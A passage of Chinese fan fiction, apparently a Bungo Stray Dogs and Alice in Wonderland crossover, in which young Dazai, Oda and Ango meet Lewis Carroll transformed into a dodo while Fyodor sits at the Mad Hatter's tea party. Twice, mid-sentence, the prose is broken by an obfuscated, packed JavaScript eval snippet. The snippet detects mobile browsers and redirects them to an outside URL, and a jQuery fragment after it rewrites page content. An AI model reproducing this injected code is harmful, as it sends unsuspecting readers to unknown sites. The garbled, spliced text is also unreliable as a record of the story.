等等,所以你的思路到底是怎么从扑克牌一路跳跃到那家伙身上的?难道是通过扑克牌里的国王联想到的吗? 他百思不得其解地想着,然后感觉周围的东西突然都模糊了起来。有什么东西在背后用力地推了他一下,让他有些踉跄地跃过河流。 “我想,你说的是睡鼠先生吧?” 爱丽丝惊喜的声音在逐渐拉长、变形,身躯正在飞快地褪色、变小,最后在视网膜中变成了一个难以判断形状的东西:“我还记得他呢!当初就是他问的我——” “乌鸦为什么不像写字台?” 最后爱丽丝的声音完全变成了一连串轻微的嗡嗡声,放在普通的故事里甚至有点吓人。当夏章雾看过去的时候,他看到的只是一只正在织东西的黄蜂。 “好极了。” 他对作者吐槽道:“这个世界的大象正在采蜜,而黄蜂正在织布,我希望这里的蜘蛛不是在吃树叶。” “你放心。”作者友善地说,“这里没蜘蛛。” 夏章雾看了看左右,发现自己现在所处的地方完全就是被各种织物做成的东西组成的。自己现在正在一个毛线织成的火车站台上面。而爱丽丝已经消失不见了。 “爱丽丝max是走了吗?”他问。 “爱丽丝max是什么东西?”作者问。 “你知道的,如果爱丽丝·利德尔可以被简称为爱丽丝mini,那么这位女皇陛下当然也可以被简称为爱丽丝max。” 夏章雾这样回答道。他耸耸肩,选择去和那个应该是售车员的黄蜂交谈去了。 “这里是哪?”他问。 “是的。”黄蜂扶了扶老花镜,用老掉牙的嗡嗡声赞许地回答,“这就是‘哪儿’(where)!” …… “真是无聊。” 哈塔,或者疯帽子说。 “简直就是在消磨时间。” 黑尔,或者三月兔嘟哝。 “或许这就是时间不往前走的另一个原因。”疯帽子叹了口气,“这简直是一种折磨。” 他们对面的费奥多尔倒是很平静地正在输入代码。谁也不知道他正在思考些什么。 “我们来猜谜语吧。”三月兔说。 “乌鸦为什么像写字台?”疯帽子突然说。 “Because the notes for which they are noted are not noted for being musical note.” 费奥多尔漫不经心地回答,敷衍的语气就像是在被迫参与幼儿园娱乐游戏。 对面的两个家伙都沉默了。 “现在有另一个谜语。” 不知道自己现在做的事情很破坏气氛的俄罗斯人继续说:“乌鸦为什么不像写字台?” “呃。”疯帽子抓了抓头上的秸秆,绞尽脑汁地想了会儿,但他还没有想到答案,一个小女孩就朝着这里小心翼翼又满怀好奇地走了过来。 “没地方啦!没地方啦!” 三月兔大吃一惊,赶紧对她喊道。 但实际上桌子还很大。小姑娘睁大眼睛,显然是因为这种不礼貌的待遇而生了气。 费奥多尔抬起头看着这一幕,觉得夏章雾平时对太宰治的形容还是有失偏颇——世界上所有小孩子生气时都很容易变成河豚,不止他一个。 “地方还有好多!” 小姑娘说,然后坐在了一个位置上面,然后她好奇地看着费奥多尔:“你是谁?” 疯帽匠和三月兔倒吸一口气。他们纷纷尖叫起来,打翻茶杯,最后抱成一团。小姑娘和费奥多尔就这么看着他们表演。最后等到牛奶打翻才停下来。 “咳咳。” 疯帽匠咳嗽了一声:“他是睡鼠。” 说这话的时候他用力地按了按茶壶的盖子,真的非常用力。 “没错。”三月兔用神经质的高声喊道,“他就是睡鼠!” 小姑娘很是吃惊地看着费奥多尔。 她似乎正在想“我没见过睡鼠,也一直都想知道睡鼠是什么样子,但我从来没想到睡鼠原来是这样的”。总之,她认真地点点头。 “你好,睡鼠先生。”她很有礼貌地说,“我的名字是爱丽丝。” “我们正在猜谜。”疯帽子忙不迭地说,“刚刚睡鼠有一个迷题。” “太好了!”爱丽丝眼睛亮晶晶地大声喊,她立刻坐直了,“我觉得我可以猜出来!” 费奥多尔“嗯”了声。他合上电脑,然后问: “乌鸦为什么不像写字台?” “唔。”爱丽丝的脸一下子苦起来了,“我觉得我猜不出来。” 42.时间不多咯 太宰治他们稍微遇到了一点麻烦。 麻烦的源头是一只鸟。或者说,一只相当古怪的鸟。 它的翅膀非常短,短得滑稽可笑,看上去就像是个装饰品。它弯曲的蓝灰色羽毛看上去个非常滑稽可笑。 事实上,这种卷曲的羽毛和它光秃秃的脸颊部分完全无法和平共处。而那大得颇为浮夸的喙部坚定不愿意与它身上的任何特征同流合污。它们齐心协力,让这只鸟看上去更古怪了。 还有它的尾巴——世界上能够和它比一比尾巴的滑稽程度的大概只有十二弦风鸟。但太宰治他们在此之前从来没有见过十二弦风鸟,所以他们可以宣称那是他们见过的最为可笑的鸟尾巴。 它看上去像是一只很生气的鸟,不过它此刻似乎有点愁眉苦脸的,这让它更有趣:或者说它不管做出什么样的姿态都很有趣。在它面前忍笑是一件非常困难的事情。 它走路。 慢吞吞、晃悠悠、啪嗒啪嗒,努力地扇动着那对似乎毫无用处的翅膀。它以这种坚定不移的态度堵在了道路上。 它也不止堵在了这条道路上。事实上,太宰治他们走到哪里,这只鸟就堵到哪里,似乎是专门想要把他们拦下来似的。 坂口安吾从始至终都在用某种诡异的目光看着面前的鸟,表情简直像是看到了全世界最稀奇古怪的生物。 “你认识它?”太宰治戳戳他。 “你们都不知道吗?” 坂口安吾忍不住又看了一眼那只鸟:“渡渡鸟啊!它看上去真的很像渡渡鸟。就是在1681年灭绝的鸟,很蠢也很有名的那种。” 织田作之助很认真地想了想自己前半生的杀手生涯中得到的知识,诚恳地摇头:“不知道。” “课本上没教。”太宰治也很果断地说。 坂口安吾:“……” 在三个人中受教育水平最高的初中生深深地叹了一口气。就连渡渡鸟也叹了口气。 “渡渡……”它说。 “嘟嘟嘟嘟嘟?” 太宰治蹲下身子,愉快地说。 “他的意思其实是——” 耳朵里塞了巴别鱼的坂口安吾不忍直视地别过头去:“现在的年轻人真的一代不如一代。等一下?” 他突然反应过来,看向同样似乎陷入了呆滞状态的渡渡鸟。就连织田作之助也意识到了不对劲的地方。 “你是人类变的吗?”他说。 一路走来,他们也看到了不少各种稀奇古怪的生物。但是其中绝大部分都能和他们进行无障碍交流——太宰治也能证明这一点。 有时他们甚至能听到一只老鼠里有好几个不同的声音吵架——它们被埋在土里变成了植物果实的养分,最后又被老鼠吃掉,变成了老鼠自己的养分,于是就这么齐聚一堂了。 老鼠看起来对这件事还挺苦恼的。 但同样的,这里也有些普通的动物。它们就和外界的普通动物一样头脑简单,没有什么拟人的思维,说出也是些“喵喵汪汪”的内容。 但不管是哪一个,都不像是面前的这个生物那样特殊:尽管使用的是动物的语言,但同时也明显具有人类的思维。 “你们在说什么?” 渡渡鸟拍了拍翅膀,它很是惊喜地问:“你们是不是能听懂懂懂懂懂懂……” “我现在也只能听到嘟嘟嘟地叫了。” 织田作之助若有所思地说:“是哪里出了问题吗?” “呃,我觉得只是因为他结巴了。” 坂口安吾突然意识到了问题在哪:“而且他好像听不懂日语。我猜他之前都在根据我们的表情乱猜我们说的话。” “听不懂日语?” 太宰治重复了一遍,露出若有所思的表情。 过了好几秒,渡渡鸟才勉强恢复镇定。它的样子简直是喜出望外,拍着它滑稽的短翅膀就摇摇晃晃地走到了前面。 “你们是不是能能能听懂我的话?” 它问:“你们能用英语和和和和我说话吗?天啊,我总算找找找到能够明白渡渡渡渡鸟语言的人了——呃,你们这是要干什么?” 渡渡鸟被吓得炸了毛,那些本来就让它胖乎乎的卷毛膨胀了一圈。 它扇动翅膀,想要赶紧离开。但它此前还没有作为渡渡鸟快速地奔跑过,因此相当笨拙,以至于一把就被太宰治抓住了。 ——事实证明,能够被年仅十一岁的太宰治逮住,这种鸟能这么快就被人类灭绝还是有一定原因的。 “听不懂对吧?” 太宰治脸上浮现出坏笑,他不知道从哪里拿出了一个小瓶子:“当当当当!巴别鱼!织田作你快过来帮忙塞进去!” 瓶子里还有几条淡黄色的、宛如水蛭般的小鱼在游动:显然,就是当初夏章雾从背包里面拿出来的瓶子。 织田作之助上去帮忙了。只有坂口安吾震撼地看着这个瓶子。 “你这又是从哪拿来的?”他问。 “当然是翻大叔包的时候翻出来的啊。里面真的有很多看上去稀奇古怪的东西,就是没有英镑——每次想到这件事都想要叹气呢。” 太宰治把瓶子交给织田作之助,用手托腮,表情很是惆怅:“真是没用啊,大叔。” 织田作之助拿着瓶子,在尝试挣扎的渡渡鸟头上找了半圈,最后有些迷茫地眨眨眼睛,选择询问在场学历最高的人类: “渡渡鸟的耳朵在哪?” “我,我也不知道啊。” 坂口安吾也满脸茫然,他也凑过来围观给鸟塞巴别鱼的全过程:“现实里这种鸟早就已经灭绝了吧?不过应该是在脑袋上面有个洞?织田作你要不要翻翻羽毛找?” 渡渡鸟在挣扎失败好几轮后把自己累了个气喘吁吁,现在整个儿干脆就已经放弃了。 但织田作之助和坂口安吾还是能听到它时不时就虚弱地嘟哝一声“你们想要干什么”和“天啊接下来是不是炖汤”以及“我不干净了”诸如此类的话。 “你们说——” 太宰治把脑袋凑过来看着这一幕,突然若有所思地开口说道:“如果他知道自己说的话你们全都懂,而且说不定未来还要给钟塔侍从写成报告,他会不会就不想变回人了。” 织田作之助扭过头。 “我刚刚已经把巴别鱼塞到他耳朵里了。” 他说,然后沉思了几秒:“应该是耳朵吧?” “是耳朵!” 终于听懂了年前的未成年们到底在说什么的渡渡鸟发出悲愤的结巴声:“而且且且且这种事情就没有必要写到钟塔侍从的报告里了吧!” “报告什么的的随便编点应付人就行了,别真什么都写写写写啊!” “你还知道钟塔侍从的报告怎么写?” 坂口安吾歪了下头。 他一开始还以为面前只是一个被变成渡渡鸟的人类:毕竟这里的风格很童话,而童话里经常出现一个被巫师变成动物的人。但没想到对方竟然会和钟塔侍从产生关系。 “我还以为你们是死亡后灵灵灵灵魂来到这里的小孩子呢!结果是钟塔侍从的人,你们来得也太晚了些!” 渡渡鸟拍了拍翅膀,很是抑郁地跳着走了两步:“我就是刘易斯·卡罗尔。钟塔侍从连OOOL调查组都有这种高中没毕业的未成年了吗?” 刘易斯·卡罗尔?这不就是他们来到这里的目的之一吗?没想到被他们找到了。 ——这是坂口安吾的第一反应。 原来钟塔侍从还有OOL调查组啊? ——这是坂口安吾的第二反应。 但坂口安吾觉得有必要给对方解释一下:“我们是被外聘过来解决这次事件的。我是坂口安吾,这是织田作之助。那个扑过来抓住你的是太宰治。” “外聘的难道不是一个叫费奥多尔的俄罗斯人吗?”渡渡鸟甩了甩脑袋,显得有些糊涂,“这么多年来只有一个……你们扩军了?” 坂口安吾疑心“扩军”这个词不是被这么使用的。但他没说话,因为有点担心是巴别鱼不小心把话翻译出了差错。 织田作之助关注点则完全不在这里。 “你之前说来得太晚了。”他问,“是这里发生什么事情了吗?” “当然发生了很多事情!” 刘易斯·卡“渡”尔先生拍了拍自己的翅膀,顿时也不在意到底是外聘还是扩军了,语气听上去很是急切:“我已经到这里整整九天了!” 坂口安吾愣了一下。 “你明明只失踪了六天。”他反应很快,“这是我亲自确认的。一周前你肯定还在剑桥。” 如果那个时候卡罗尔就已经来到了这里,那他在物品记忆当中看到的那个卡罗尔是谁?那个写报告给钟塔侍从的卡罗尔又是谁? “不可能!” 卡罗尔也睁大眼睛——尽管渡渡鸟的眼睛也没有办法睁得更大:“我自己也是可以估秒的,这个时间绝对没有问题!” 太宰治看着两个人和一只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337009|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸟热火朝天地聊着天,有些无聊地双手环抱。 ——所以他还是完全听不懂这只渡渡鸟到底在说什么,只是大概看出来了这只堵他们路的渡渡鸟就是卡罗尔。 快乐是属于他们的,但是可怜的栗子河豚什么都没有……不对,他才不是栗子河豚! 太宰治连忙打消了自己的想法,转而看向似乎正在和人争论时间问题的坂口安吾。 “你们在讨论卡罗尔先生到底是什么时候失踪的吗?”他说,“说起来,之前我就在想一件事情。昨天女王告诉我们,卡罗尔先生是在四天前失踪的。” 但就在今天,坂口安吾通过异能得出了“六天前卡罗尔才通过兔子洞消失”的答案。 其中存在着一天的时间差:钟塔侍从的观念里,卡罗尔似乎不是在十九号失踪的,而是在二十号才突然消失。 “可是我走的那天确实是十九号。” 渡渡鸟卡罗尔努力伸长脖子:“你们进来的时候是几月几几几几日?” “五月二十五日。” 坂口安吾非常肯定地说,然后看了眼织田作之助。对方也点点头,表示坂口安吾没有记错。 “所以说,如果大家对于时间的判断都没有错,那么就只有可能是时间自己出问题了。” 太宰治右手握拳,抵住下巴:“嗯……是因为这个地方的存在吗?” 正常情况下,时间是种绝对精准的事物,就和数学永远都是一加一等于二一样。能让时间出现问题的,怎么看都是这个OOL本身。 但问题在于,这个性质更接近于冥府的地方到底怎么影响到剑桥的时间的? “这里的时间确实有问题。” 渡渡鸟的脸上浮现出严肃的表情:“虽然我没有钟表表表,但这里的白昼和夜晚的时间一直在在在变化。如果它已经到了影响剑桥时间的程度……” 卡罗尔停顿了一下,望向远处,呈现出相当忧心忡忡的模样。 “说明什么?”坂口安吾问。 “先跟跟跟上来!对了,钟塔侍从应该给给给你们看过了报告。你们知道我来到这里的原因因因因吧!” 卡罗尔没有直接回答这个问题,而是急匆匆地突然顺着道路笨拙地跑去,同时大声地向三个孩子问道。 其余的人也赶紧跟上。 “因为爱丽丝?”织田作之助给出了相当无懈可击的回答。渡渡鸟的脚步一歪,差点整只鸟都摔在道路上。 “是因为笑笑笑笑声!” 卡罗尔郁闷地回答:“使用异能后,我听到了别人听听听不到的声音。我猜猜猜测,应该是因为我的异能让我靠近了梦境,也更加靠近了这个世界界界。” “带我们来的人——他也在剑桥看到了我们都看不到的一只鸟。”坂口安吾赶紧说道,“但他的能力是预言。” “问题就就就在这里。如果连其他人都能感受到明显显显的不正常,那么在我来到这里后,这里和现实的距离肯定更更近了!” 卡罗尔喘了口气,继续往前跑:“现在剑桥桥的时间开始变得和这片土地上一样样混乱。如果不快快点阻止,等到它和现实重重重叠时、甚至取代现实时就完了!” “你说什么?” 坂口安吾一把抓起跑得一点都不快的渡渡鸟先生:“这片世界会和现实重叠?” “什么?”本来还悠悠闲闲跟在跑也跑不起来的渡渡鸟身后的太宰治也吃了一惊,“你是说大家未来想死都死不掉了?” 织田作之助看了看身边的两个人,觉得自己在这个时候似乎也该说些什么。 但他想了半天,也没想出来要说的内容。还是太宰治提醒了他。 “织田作!”太宰治拽住他,用大惊失色的语气说,“而且这个世界里是没有辣咖喱的!这样的未来绝对不允许出现!” 织田作之助的呆毛竖了起来。 “真的没有辣咖喱吗?”他说。 “这种时候就不用提辣咖咖咖喱了吧?”被提起的卡罗尔有气无力地说,“快一点。我们得赶紧去找疯帽子才行。” “疯帽子?” 坂口安吾问,顺手把渡渡鸟塞到了织田作之助的怀里。 “据说这里的时间出问题就是因为他,他应该知道该怎么和时间打交道!” 渡渡鸟急得说话声都不结巴了:“说不定我们能在他那里找到线索——就算是找不到,现在的时间也不多了。我们必须让最后的这点时间站在我们这一边!” 43.why so serious? 去疯帽子那里的路挺长。 按照卡罗尔的说法就是,这里的路随时都会按照自己的心情变来变去,所以他必须找到一个准确的目标。 会变来变去的路,好吧,这很古怪。但这里古怪的事情多了去了,所以大家都很顺理成章地接受了这个设定。 “我听别人说,时间间间间出问题是在去年三月份红心王后后的宴会上。” 一路上,渡渡鸟还在气喘吁吁地对他们介绍着有关于疯帽子的事情:“这全都怪怪怪怪疯帽子当时表演的那首谋杀杀杀时间的歌!” “谋杀时间的歌?” 坂口安吾有些困惑地说。 他有点没法理解一首歌到底是怎么谋杀时间的。总不至于是难听到让时间听了都死了吧? 这件事实在是有些令人好奇。大家的目光纷纷都看向了正在笨拙地奔跑的渡渡鸟。 “事情是这样样样的。”渡渡鸟有些尴尬地咳嗽了一声,“这里里面其实是一个个双关语。” “mmmurder the time 除了谋杀时间,还有在歌曲里打打打乱拍子的意思。” 这位土生土长的英国渡渡鸟教授伸长脖子,非常努力地给这几个平均教育水平在初中左右的未成年人解释道:“也也就是说,这很难翻译译译出来。你你们有巴别鱼,所以可能没没没法理解其中的意思。” 巴别鱼虽然很好用,但它通过生物潜意识表达进行的翻译有点过于一步到位,并没有办法让人感受到原本语言中存在的精妙之处。 可以说,如果你想要玩文字游戏的话,最好不要和耳朵里有巴别鱼的人玩:到最后你总得不得不解释自己好不容易想出的笑话,并且把它搞得一团糟。 但这本身问题并不大。至少坂口安吾看上去并不怎么在乎这一点。 “所以其实疯帽子根本就没有谋杀时间。” 他在意的是别的东西:“他只是打乱了歌曲的节拍。这完全是两码事,只是在英语用一个词组表示了……但为什么时间还是会出问题?” “因为这这这完全就是一回回回事。你们要要要知道一点。” 渡渡鸟卡罗尔对这些外来者们说——尽管他也只在这里待了九天,但九天已经比其他人待在这里的时间加起来还要多了:“他们们们只是在玩游游戏。不不不要尝试说服他们,因为你你你没办法改变变游戏的规则。” “游戏?”织田作之助好奇地问。 “是的。也包括文字字游戏。” 渡渡鸟叹了口气,他扭过头:“对于他们来说,文字游戏才才才是真正的逻辑。” “而最糟糕糕糕的事情在于!”他说,忍不住又拍了拍自己短小滑稽的翅膀,有好几片弯弯的羽毛从他的身上掉了下来,“这个世界也是围绕这种逻辑辑辑来运转的!” 针对这一点,卡罗尔看上去好像要再说点什么。但他们这个时候已经穿过了森林,来到了一片草地上。 这里有很多的人。 坐下来野餐的,在草地上唱歌的,还有三三两两走在一起的。一直在空气中流动的清脆乐声中完全被人类嘈杂的声响淹没了,整个世界都喧嚣起来,让人有种回到了现实的恍惚感。 这是三个未成年进入这里以来第一次看到这么正常的景象。 正常到反倒让人觉得格格不入起来。 “这是那些昏迷者的灵魂吗?” 坂口安吾忍不住多看了几眼,问在这里待的时间最久的渡渡鸟。 “他们看上去很开心啊。” 太宰治用怀疑的目光打量着:“这种地方至于让人这么开心吗?他们当中就没有哪个担心自己的脑袋掉下来?” “是因为不用上班了吗?” 织田作之助猜测道。 “快、快走!” 卡罗尔突然紧张起来,用“渡渡”的大叫声提醒道:“不要理理理会他们!” 他神经兮兮的样子简直能吓人一跳,让人觉得这里静悄悄地埋藏着什么深水炸弹。织田作之助没有犹豫,拉着太宰治就跑起来。 坂口安吾“欸”了一声,也连忙跟上。 事实上他们也完全没有跑的必要。 这些人似乎完全没有注意到他们——尽管渡渡鸟大喊大叫的声音相当明显,尽管想要注意到这几个跑过草坪的孩子并不算难,但他们就是一副熟视无睹的样子。 “他们身上有什么问题吗?” 坂口安吾一边跑,一边回头着问。 卡罗尔没吱声,只是抬起那短得有点好笑的翅膀,指了指那些人的方向,示意坂口安吾自己听他们的对话。 此时他们正好经过一块野餐布。 “你知道这里有多美好吗,唉。瞧瞧:没有手机,没有工作,也没有货币。” 另一个打扮像是上班族的女人无视了从他身边跑过的孩子和渡渡鸟,只是不间断地拿出各种食物,对身边的胖子说: “我之前那个该死的工作,唉。无论什么时候他们打电话给我,我都要放下手头的一切事情去解决麻烦。但这里什么都没有。现在我终于不用继续这份工作,能干自己的事情了,唉。” “天啊。自从诊断出糖尿病以来,我再没有这样自由自在地吃过甜点了!所有人都告诉我:你不能再吃甜食了。” 被她搭话的胖子则是拼命地往自己嘴里塞糕点,根本没有理会上班族在说什么,只是大声地表示着自己的幸福:“但现在我能吃个够!这里简直就是天堂!” “就是那些动物有些疯疯癫癫,唉。” 上班族说。 “我想在这里吃喝玩乐一辈子!” 胖子说。 在进行了这么一番前言不搭后语的流畅交流后,他们似乎都很满意。然后一个人继续把各种各样的糕点摆在桌布上叹气,另一个人继续大口大口地吃着这些点心。 在他们的不远处,一个人正在以带着合唱团的方式进行领唱:“为什么不和我们一起享受快乐时光!游玩的时间一秒价值一千英镑!” “好的,现在明白了。” 坂口安吾沉默了几秒,然后说。 他算是看出来了,这些人疯的程度也不比那些动物要差。更准确的说,这里所有的一切都有种近乎快要没救了的感觉。 渡渡鸟再次叹了口气。 这时他们已经离开了草坪,重新走到了另一片茂密的森林当中。 “你们们们知道我为什么会在一开始始始尝试拦着你们吗?因因为我看到了好多来到这里的人很快就就找到了自己喜欢的游游戏,然后他们就完蛋了。” 渡渡鸟的结巴又厉害了起来,它的语气听上去颇有点沮丧的味道: “也有人人一开始就疯了。他们进来还活活着,他们跳舞和笑到昏过去,来到到这里继续玩他们的游戏。还有一些是已已经死去的人,他他们最开始还是正常的——但也迟迟早会疯。” 坂口安吾尝试从这些支离破碎的语句当中提炼出有效的信息。 “也就是说。这里的人类有死者的灵魂,也有昏迷后灵魂来到这里的人。” 坂口安吾自己直接翻译了一遍,又加上了自己的理解: “后者早就受到了这里的影响,所以最开始就疯了。前者一开始还是正常的——迟早会疯难道是因为会受到这里的影响?” 如果是这样的话,他们可不能在这里停留太久的时间。 “噫惹。” 太宰治眯起眼睛,表达了自己对这个地方显而易见的恶意:“该不会这个地方的空气里弥漫着什么让人发疯的东西吧。” 如果夏章雾在这里,他肯定要吐槽一句“谁家哥谭市”。但很可惜,他不在,在场的只有三个对美漫一无所知的日本年轻人和一个倒霉的数学教授·渡渡鸟版本。 “没、没有那么夸张!只是这里允许你去做任何你渴渴望的事情!但不管什什什么事情,做久了总是会会感到厌倦的,只有欲欲望会不断膨胀。” 渡渡鸟连忙扑扇两下翅膀,纠正了太宰治的错误理解:“当没有办办法满足的时候,人们便便便会投向更刺激的游戏,就就这样不不断地玩下去。就像这这样……” 他嘟哝着“渡渡”了两声,垂头丧气的。 甚至这一切都不是强迫的,只是人们自己做出的选择。仙境只是一个无穷无尽的、允许人类在其中自由地享乐的游乐场。 没有工作时间,没有严肃时刻,没有必须完成的目标,没有任何形式的要求,一切都可以重来,死亡并不存在,游戏永无终结。 唯一要做的事情就是尽情地制造乐趣,感受这里满溢的、永不退潮的欢乐。 ——欢乐? 一想到自己也有可能会变成那些疯疯癫癫生物的一员,坂口安吾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15346706|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就不由自主地感到别扭:或者说,对于尚存理智的人而言,这里的一切都很别扭。 就像嘴里被塞满了过于甜的黏糊糊糖果。很腻,也很恶心。 “听起来就像是一种新的谋杀方式。” 织田作之助认真地想了想,这么说。 他们此时已经步入了一个由毛线与丝线组成的区域。这里的一切都是用线编织出来的,每一根草和每一棵树都栩栩如生。还有更多五颜六色的线缠绕在它们上面,轻微地颤动着。 一只介于人类和黄蜂间的东西正在这些织物的顶端,专心致志地做它的手工活。显然,这里的东西都是它的作品。 那对凸出的复眼目不转睛地看着自己不知是爪子还是人手的东西上的布片,嘴里慢吞吞地咕哝着什么。 “真漂亮。”它说,“这根线真美。” “现在你们们说日语她也听得懂了。” 卡罗尔看着上面的黄蜂:“我现在反而没有办法和她交流:告诉她,你们是是是是过来找疯帽子的茶会的。” 织田作之助想要走上前,但太宰治抢先跳了出来,用他特有的小孩子甜甜语调和面前的巨大半蜘蛛半人的生物打了个招呼。 “老奶奶好!” 太宰治的语气让把织田作之助之外的人都被甜腻得打了个哆嗦:“我们想要去疯帽子先生的茶会。” 对方缓缓地推了推自己的老花镜,骤然伸长了脖子,几乎把自己那张被拉长的怪脸贴到了太宰治的脸上。 太宰治面不改色地看着她。 “真是可爱的孩子。” 黄蜂夫人用那种老掉牙的高兴语气说,听起来颤颤巍巍的,还有些含糊不清:“你看上去就像是一团毛茸茸的黑色羊毛线!通往茶会的是绿色和白色交织的那条线,顺着它走就行了。” 找出那条线并不算困难。太宰治很快就看到了,他继续用甜到腻牙的语气告别,然后就哒哒哒地跑回了队伍。 他们现在知道去茶会的方向了。 “怎么样?”太宰治小声地说,“我们顺着那条线走就到了。” “你还真是清楚怎么对付这种上了年纪的老年人。”坂口安吾颇为无力地吐槽道,然后询问待在织田作之助怀里的卡罗尔,“她也是这里的居民吗?” “不。” 渡渡鸟的声音闷闷的:“珍珍珍妮只是个死后来到这里的剑桥人。她她她活着的时候就老年痴呆了,整天都在织织织衣服。直到死前,她还以为自己的儿儿子只有三四岁大……” 坂口安吾张了张嘴。 他一时间都不知道该说些什么。 “我我我认识这里的很多人。” 刘易斯·卡罗尔的语气听上去相当失落:“剑桥桥并不算是特别大的地方。我亲亲眼看着他们变成这样,当和和和这里的思维走向同步时,你就会变变成别的样子。或者说,被这个游戏赋予新的角角角色身份。” “新的角色身份?”坂口安吾愣了一下。 织田作之助好心地帮太宰治把这句话翻译完整:“如果被这里同化,那么就会在这里担任别的角色。” 太宰治沉思片刻。 “那这个角色列表里面有渡渡鸟吗?” 他突然说。 渡渡鸟惊讶地瞪大了眼睛——尽管对于渡渡鸟来说,这个动作有点困难。 “不!我是一进来就就就是这样了!” 他也意识到了自己身上的问题,连忙喊道:“而且虽然我也很喜欢玩玩玩游戏,但但是我知道自己进来的目标!” “目标是找爱丽丝?” 织田作之助下意识地说。 “是解决这次次的事件!只是里面也有爱爱爱丽丝!” 渡渡鸟用带着急迫和窘迫的语气喊道:“我知道,爱丽丝从来不想成为什什什么女皇,顶多只只是有些喜欢玩游戏。她是个很好好好的孩子,我不允许她她被这个世界变成那那些稀奇古怪的样子!” 就算是没有翻译,现在每个人也都能从他此刻的表情看出来他在说什么了——虽然从渡渡鸟的脸上辨认出表情的确是件艰难的事情。 “但是,卡罗尔先生——” 太宰治眨了眨眼睛,这样说道:“您真的可以确认,自己没有沉迷在名为‘拯救爱丽丝’的游戏中吗?” 气氛突然安静了下来。 没有回答。 44.就是你在挑衅我对吧 “我不知道该说什么。” 另一头,还没有渡过河的夏章雾先生深吸了一口气,他看着周围的场景:“我现在只感觉这个世界全部都是神经病。” 这儿是被称为“哪里”的地方。这里本来是有一大片毛织物。这里本来还有一个四通八达的列车。这里本来甚至还有一个售车员黄蜂。这里所有的一切都是它编织出来的。 而夏章雾本来应该舒舒服服地待在列车的座位上,打开笔记本看一看读者们的评论,享受一段还算轻松的旅行——这段旅行将把他直接丢到下一条河的对岸。至少黄蜂是这么说的。 但现在一切都毁了。 正当夏章雾摊着笔记本,和读者进行“我到底是不是人啊”“你们不要污蔑我这个大活人是OOL”的搏斗时,一只巨大的狮子突然从天而降到了列车顶上。 整个毛织的列车顿时被压扁了。乘客们纷纷发出吃惊和慌乱的喊声,以合唱般的语调齐声高喊道: “这里土地上面有狮子!每天被狮子吃掉的东西价值一千英镑!” “你们的歌真难听。”狮子晃了晃尾巴,从破洞的列车顶部看过去,“而且我是来送信的,勒托——是这个名字吧!” 乘客们又齐声高喊道: “不要让国王的信使久等。嘿,国王的信价值一千英镑!” “见鬼。”夏章雾终于受不了了,他把笔记本合上,终于终止了他和读者谁也无法说服对方的论战,用看小偷的警惕眼神看着这些乘客,“你们是怎么知道我身上有一千英镑的?” 乘客们沉默了几秒钟。 然后他们齐声高喊: “车厢上有叫勒托的人!天啊,他的身上只有一千英镑!” 说完这句话他们就纷纷一哄而散了。只留下了感觉自己被挑衅了的夏章雾和满脸无所谓表情的狮子。 狮子再次打了个哈欠。 “是国王要我来送信的。”它懒懒散散地再次重复,看上去下一秒就要睡着了,“他说,如果我过来给你送信,那么我就可以得到王冠。” 夏章雾瞅了狮子一会儿,明白过来了。 “你和独角兽在争夺王冠?”他问。 狮子和争夺王冠联系在一起,自然就是代表不列颠的那只狮子。虽然并不清楚这里为什么会出现这么个戏剧性的玩意,但能和狮子一起争夺王冠的大概率就是代表苏格兰的独角兽了。 “上次我们还什么都没抢到就被赶走了。” 狮子不满地说:“总之,我想这一次肯定能够赢它。不过我首先得找到王冠才行。” 它陷入了思考。 “你不知道王冠在哪?”夏章雾忍不住问。 “我当然知道。”狮子斜视了他一眼,十分骄傲地回答,“王冠就在国王的头顶上。我只是现在找不到国王。” “两个国王都找不到?” 夏章雾用怀疑的语气说。 国际象棋上面的代表王的棋子分别有两个。如果他没有猜错的话,按照读者提供的情报,费奥多尔现在担任的就是其中之一。 尽管他并不清楚对方到底是黑棋国王还是白棋国王——话说回来,他现在棋局里的位置应该是兵。但他是哪个阵营的兵来着? “要不你还是扪心自问一下吧。” 画外音在旁边无语地说:“我觉得你的良心是什么颜色,那你就是哪个阵营。” “懂了,费xxx就是黑棋国王。” 夏章雾爽朗地说道,充分展示了什么叫做油盐不进:“那家伙的心比我黑多了。喂,狮子。你真的不打算趁那家伙给你下达命令的时候把他的王冠抢下来?” 狮子甩了甩尾巴。 “我现在还没有见过他。”它很不快活地说,“我怎么知道怎么抢到他的王冠。就连送信的事情都是别的国王的信使和我说的。” 夏章雾眨了眨眼睛:“别的国王的信使?” “就是白国王的信使啊。” 狮子慢悠悠地舔舔爪子,百无聊赖地再次打了个哈欠:“那个叫做哈塔的家伙。” 哈塔。这个名字夏章雾从读者们的评论当中读到过。如果他没有记错的话,这个名字应该是属于茶会的三月兔。 “他也是信使?所以白国王还活着?” 夏章雾很是谨慎地问。 “多蠢的问题啊!”狮子懒洋洋眯着的眼睛睁开来了,它不屑地打了个响鼻,“如果没有白国王的话,这个游戏不就要结束了吗?” 话是这么一回事没错。 但是,就算姑且不说为什么白国王的信使会在代表黑棋国王的费佳身边,作为“白王后”的爱丽丝还没有满十岁吧? 这国王到底是想要干啥?设计出这种剧情的作者到底是要干啥? “总觉得这个程度真的可以去举报了。” 